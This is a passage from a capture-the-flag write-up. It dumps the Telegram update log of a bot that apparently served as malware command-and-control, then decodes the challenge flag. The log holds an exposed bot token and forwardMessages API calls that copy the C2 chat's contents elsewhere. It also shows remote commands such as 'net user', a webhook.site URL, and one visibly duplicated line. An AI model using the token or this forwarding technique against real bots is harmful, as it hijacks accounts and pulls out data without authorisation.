1733033195, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555873, 'message': {'message_id': 710, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033196, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555874, 'message': {'message_id': 716, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033249, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883'}}}, {'update_id': 160555875, 'message': {'message_id': 722, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033262, 'text': '{"ok":true,"result":[{"message_id":717},{"message_id":718},{"message_id":719},{"message_id":720},{"message_id":721}]}', 'entities': [{'offset': 0, 'length': 117, 'type': 'pre', 'language': 'json'}]}}, {'update_id': 160555876, 'message': {'message_id': 723, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033846, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555877, 'message': {'message_id': 729, 'from': {'id': 43390784, 'is_bot': False, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'language_code': 'fa'}, 'chat': {'id': 43390784, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'type': 'private'}, 'date': 1733034070, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555878, 'message': {'message_id': 735, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034345, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555879, 'message': {'message_id': 736, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034348, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555880, 'message': {'message_id': 737, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034351, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555881, 'message': {'message_id': 738, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034356, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555882, 'message': {'message_id': 739, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035991, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555883, 'message': {'message_id': 740, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035993, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555884, 'message': {'message_id': 741, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036130, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC5WdMCGIAAWb_P5p5qMj9cNbgAyWr-AACaxEAApvTYVaT9-XpwKCIzDYE', 'file_unique_id': 'AgADaxEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555885, 'message': {'message_id': 742, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036132, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555886, 'message': {'message_id': 743, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036141, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC52dMCG0XC9AfyIskRJEUkwa9RnFsAAJsEQACm9NhVowmLw-Q6y8YNgQ', 'file_unique_id': 'AgADbBEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555887, 'message': {'message_id': 744, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036142, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555888, 'message': {'message_id': 745, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036187, 'document': {'file_name': 'document.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC6WdMCJtGoCNl1L2VHdnvIsHQlZhkAAJtEQACm9NhVgMHoK8xakCrNgQ', 'file_unique_id': 'AgADbREAApvTYVY', 'file_size': 17146808}}}, {'update_id': 160555889, 'message': {'message_id': 746, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036188, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555890, 'message': {'message_id': 747, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036191, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555891, 'message': {'message_id': 758, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036830, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555892, 'message': {'message_id': 759, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036863, 'text': 'https://api.telegram.org/bot7035...[REDACTED]...doiaoaGBMcy4/forwardMessages?from_chat_id=69...[REDACTED]...141&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=xxxxxxxxxx', 'entities': [{'offset': 0, 'length': 210, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555893, 'message': {'message_id': 765, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036968, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370'}}}, {'update_id': 160555894, 'message': {'message_id': 766, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037194, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555895, 'message': {'message_id': 767, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037196, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555896, 'message': {'message_id': 780, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038590, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555897, 'message': {'message_id': 781, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038658, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555898, 'message': {'message_id': 798, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038922, 'text': "/start 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555899, 'message': {'message_id': 799, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038924, 'text': "6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/"}}, {'update_id': 160555900, 'message': {'message_id': 800, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038925, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555901, 'message': {'message_id': 801, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038926, 'text': "/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555902, 'message': {'message_id': 843, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039200, 'text': '06bbc6ad-a624-416f-8163-30410218a149 ;; DESKTOP new connection!'}}, {'update_id': 160555903, 'message': {'message_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message'age_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message': {'message_id': 871, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039567, 'text': 'https://webhook.site/468f16c3-6932-4298-aa76-727f69ba21bd', 'entities': [{'offset': 0, 'length': 57, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555905, 'message': {'message_id': 874, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733039684, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555906, 'message': {'message_id': 925, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040091, 'text': ';; net'}}, {'update_id': 160555907, 'message': {'message_id': 926, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040096, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555908, 'message': {'message_id': 927, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040100, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}]}
```

Dữ liệu JSON từ bot bao gồm nhiều tin nhắn, một số trong đó chứa chuỗi đáng nghi liên quan đến flag:  

`/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/`

Decode thử:  
![image](https://hackmd.io/_uploads/rJT9hogNke.png)

> Flag: wwf{1_D0WN104D3D_correct_814CK_MY7H_WUK0N6}  

---



